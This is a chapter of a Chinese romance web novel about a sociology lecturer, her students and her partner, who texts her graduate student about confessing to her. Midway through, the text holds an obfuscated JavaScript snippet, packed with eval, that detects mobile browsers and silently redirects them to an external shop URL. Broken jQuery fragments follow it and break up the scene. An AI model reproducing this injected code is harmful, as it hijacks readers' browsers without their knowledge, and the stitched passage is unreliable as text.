学生们站起来收拾书包和残余的早饭垃圾,吵嚷说话,杨词拉着黎昊宇冲上了讲台,徐微合上电脑,对嘈杂的人群做最后的提醒:“还是那句话,开电瓶车的注意行人,走路的注意电瓶车,你们都注意安全!”
“哎哎!知道了!谢谢老师!”好几个人应。
“老师——我今天骑自行车——”后排有个男生举手,大声嚎了一嗓子。
徐微被逗笑了,隔着十几排座位喊:“那你也当心点!”
“好嘞好嘞!”男生赶紧应,抓着书包,一溜烟似的从后门走了。
大学生很有素质,垃圾全都带走,弄得干干净净,教室很快就空了,就剩了粉头发和橙头发站在讲台边,围着徐微说话,骆飞不敢动,乖乖地坐在原位置等。
“老师,我们买到咯,您给我们签个名呗!”黎昊宇和杨词各自从书袋里掏出来一本淡蓝色封面的书,是徐微几个月前出版的博士论文专著。
这本书刚出版,就被国内多个人文社科类官号非官号乃至学界巨佬推荐,销量极好。
这不仅在于书本身的学术价值,还在于书中的扎实的质性研究功底和一气呵成的研究逻辑,非常适合初学者和非本专业人员学习和了解,当然,也因为徐微给她的著作取了一个比网文还炸裂的名字——
《精神小伙、小妹的“混”社会指南:一项基于华南K县的青少年社群研究》
这谁不想翻两页看看?
“哇哦,你们买到啦。”徐微接过学生递来的黄色细闪签字笔,翻开书的扉页,潇洒地签下自己大名,再把书递还过去,微笑道,“昊宇的发过来的项目书我看了一半了,晚上有空吗,咱们线上开个小会。”
听到项目书,黎昊宇有点紧张,小心说:“老师,您看得那么快呀?”
徐微颔首:“嗯,主要是帮你们把调研计划和访谈提纲梳理好,这样你们开展调研工作就会顺利很多。”
杨词连忙接上:“老师,我们晚上有空的。”
徐微点头:“好,那晚上再聊,七点左右。”说完,她俯身拔下翻页笔插销,走过去关掉空调开关,把保温杯塞进办公包里,准备穿外套走人了。
女生们就着急了。
骆飞坐在教室后面,把她们的小动作的看得一清二楚。
杨词在背后使劲挠了黎昊宇一把,黎昊宇被顶到,仰起头,对上徐微的眼睛,说话怯怯的,还有点迂回,小心翼翼的:“徐老师,我看见学院官网昨天公示您有硕士研究生导师资质了。”
“嗯,是呀。”徐微眼睛弯了弯。
严格意义上,小琪并不算徐微的研究生。
徐微刚到长山大学时,恩师李思萍心脏出了点小问题,被医生勒令静养,李思萍就把新招的研究生小琪丢给徐微带了。
小琪工作三年才考研,被职场蹂躏得又圆又扁,读研就是为了刷个应届生的身份,考个家门口的公务员。
徐微从不为难她,除了督促她完成相应的毕业指标,还给她转发各种考公讲座,不做另外的学术要求,至于科研,还是带本科生更多一点。
杨词又挠了黎昊宇一下。
黎昊宇往前靠,整个人贴到讲台上,脸红红的,希冀地说:“……徐老师,如果我想报考您的研究生的话,要做什么准备呀?”
徐微一凝,笑道:“你现在才大二,不用着急,如果你有志于走学术道路的话,不建议硕士继续跟着我。每个社会学者的思维模式都有差异,跟着不同的导师,才能拓展你的视野,这对你未来更有帮助。”
女生的晶亮亮的眼珠子黯淡了些。
徐微连安慰人都带着轻盈,温柔地说:“我的建议呢,是你多去阅读,做一些小调研,对某个领域有一些自己的想法,等你准备考研或者拿到保研资质的时候,过来找我一趟,我帮你研究一下你去哪所高校深造更加合适。相信我,你的能力不差的,完全可以冲刺国内排名靠前的高校,要有自信和野心呀。”
她还wink了一下。
好看死了!
黎昊宇的眼睛又亮起来:“真哒?”
“当然。”
徐微翘嘴角,眼里慈母般的光芒。
橙头发拉着粉头发,挎着帆布书袋子兴高采烈地走了。
教室里只剩了两个人。
“微微。”骆飞站起来,把书还给她。
“在学校,叫徐老师。”徐微接过,拎起办公包,“跟我去趟办公室。”
*
办公室在五楼,跟她家简直一脉相承,空得一览无遗。
宽大的体制内常见的猪肝色老式办公桌,堆了些零散的文件和数据线,几把椅子,一袋零食,方便招待来访的学生,半旧的玻璃书架贴着墙角,里面是空的。
窗户正对学校的篮球场,大冬天,体育生穿着T恤在楼下打球,“砰砰砰”的球砸地声,隔着五层楼的空气,形成适耳的白噪音。
窗台上摆了个盆栽。
是今年三八妇女节的时候,小琪送给她的节日礼物,骆飞还当过参谋,本着“给徐老师无聊的办公桌增添一点生机勃勃”的原则,小琪给她送了一盆,额,仙人球。
现在看,生机是一点都不勃勃了。
生机死了。
灰绿色的球体瘪得只剩了一层皮,球针糙黄,盆栽土干得龟裂,彻底嗝屁。
哎,就不该指望徐微会养东西。
“你随便坐会儿,等饭点去食堂吃个午饭再回家。”她抽出笔记本电脑,坐在椅子上办公。
骆飞嗯了一声,看向可怜的仙人球,心想,要是他送给徐微的盆栽死了,他肯定会伤心的,以己及人,小琪看见了肯定也伤心。
反正仙人球也长得差不多,要不重新买一个?
……算了,还是说实话吧。
他随便找了把椅子坐,点开微信,给在影视城做田野的小琪发消息:【以后不要给你导师送活物了,仙人球死了】
小琪毕业论文做的是关于青年群演的研究,徐微去年就介绍骆飞做她的“田野中间人”。
再加上小琪比徐微小三岁,比骆飞大三岁,这种情况,无论是徐微和小琪,还是小琪和骆飞,都很容易处成朋友。
小琪秒回:【我早就知道了,下次我去办公室帮她扔了。】
不得不说研究生脑子就是快,小琪:【骆老师,你在我导办公室啊?】
然后发了个震惊的熊猫头。
骆飞抓耳挠腮,怎么回都不太对,毕竟不能直接说他和徐微在一起了,想了想:【嗯,来市区找徐老师玩】
小琪:【骆老师,我导都让你进办公室了,你还不跟她表白?快点吧,我觉得你有戏】
骆飞震惊:【?怎么看出来的】
小琪:【有个事,我一直没告诉你】
小琪:【前几周我找徐老师聊开题报告,我们就聊到你了,然后】
等了好一会儿,小琪才发:【我导夸你自律,天天健身,我说我怎么不知道,然后我俩一对,我导发现你朋友圈的健身照全是仅她可见了】
小琪:【骆老师,你身材太有料了】
我滴个妈妈爸爸奶奶爷爷姥姥姥爷啊啊!!!!!
啊啊啊啊啊啊啊啊——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553385|203610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他羞耻得要撞头了。
手机没握稳,“砰!”一声,砸到地上。
把徐微吓了一大跳。
“怎么啦?!”徐微走到门那边去了,转头看过来。
骆飞怕她看见自己爆红的脸,蹲在地上找手机,不敢抬头,闷着说:“没事没事!手机掉了!”
“哦。”徐微应了一声,低头研究办公室大门。
她握着门把手调整开合大小,弄了好一会儿,总算找到合适的角度,保持门半开着,确定走廊行人看得清室内,终于满意。
骆飞深吸好几口气,搓搓脸,确定温度降下来了,问:“你在干什么?”
徐微一本正经:“学校有规定,异性师生同处一间办公室,房门要敞开,开角必须大于45度,房间可视范围面积超过80%。”
什么高校规则怪谈。
骆飞:“……我又不是你的学生。”
徐微眨眨眼,很无辜:“你自己说今天要扮演我的学生的。”
骆飞:“……”
没招。
手机里,小琪又发了一条:【你知道吗,我导都被我笑脸红了,我觉得她都害羞了,一直说,他真的喜欢我啊,他不说我怎么知道呢,你懂这个含金量吗!】
小琪都催了,看文字都能感觉到她的激动:【骆老师你别磨叽了,择日不如撞日,今天大好机会,你就直接莽上去,我测过了,我导是高功能感情回避型,等她主动还不如等死,死起码会来,你冲啊!】
发了一大堆土味加油表情包。
骆飞:“……”
没招。
对谁都没招。
骆飞思来想去,给小琪回了个:【行,我尽量】
窗外体育生“砰砰砰”打篮球的声音就没停过,徐微回到电脑前,继续看学生的项目书,她戴了一副防蓝光眼镜,无框窄平的镜片,银色的镜架,轻盈知性,很衬她的气质。
审慎的目光落在屏幕上,指尖在键盘飞快地敲击,文档的批注栏写满密密麻麻的修改要点。
有些写得不好的,她直接上手帮学生改了。
骆飞看着她工作时沉稳严谨的模样,很难想象她被小琪笑得害羞的样子。他想起初中时班里一对男女,明明什么关系都没有,但就是因为同学起哄,他们总会被全班笑得脸红。
可她是徐微啊,她怎么会被笑脸红呢。
她的生命和灵魂都太完整了,不会被外物和他人的语言裹挟。
她总是潇洒自如,从心所欲的,非常偶尔的害羞,是在床上。
但那也很少。
“骆飞,我觉得我们这样不行。”徐微突然说。
骆飞心里一紧,脱口而出:“我们怎么就不行了?”
我们不是好好的吗?!
徐微费解地看着他,说:“我是说,我给你上文化课不行,你知道你们演员需要什么文化吗?更重要的是,你知道文化是什么意思吗?”
骆飞一脸茫然,脸上是知识的荒地:“啊?”
“算了算了,我问问付灵,她们资本家就这样,下任务都乱来。”徐微摆摆手,给付灵发微信。
徐微有个特点,她对身边大部分事物都持有包容理解但不关照的态度,但要是有人莫名其妙地把一件事塞到她手里,她也会把这件事当做事来办。
她还会莫名其妙地来烦你。
她给付灵发:【骆飞说你让我给他补文化课,文化课是什么】
过了十来分钟,付灵回了:【???】
付灵:【你博士学位在中山大学哪个垃圾桶捡的?】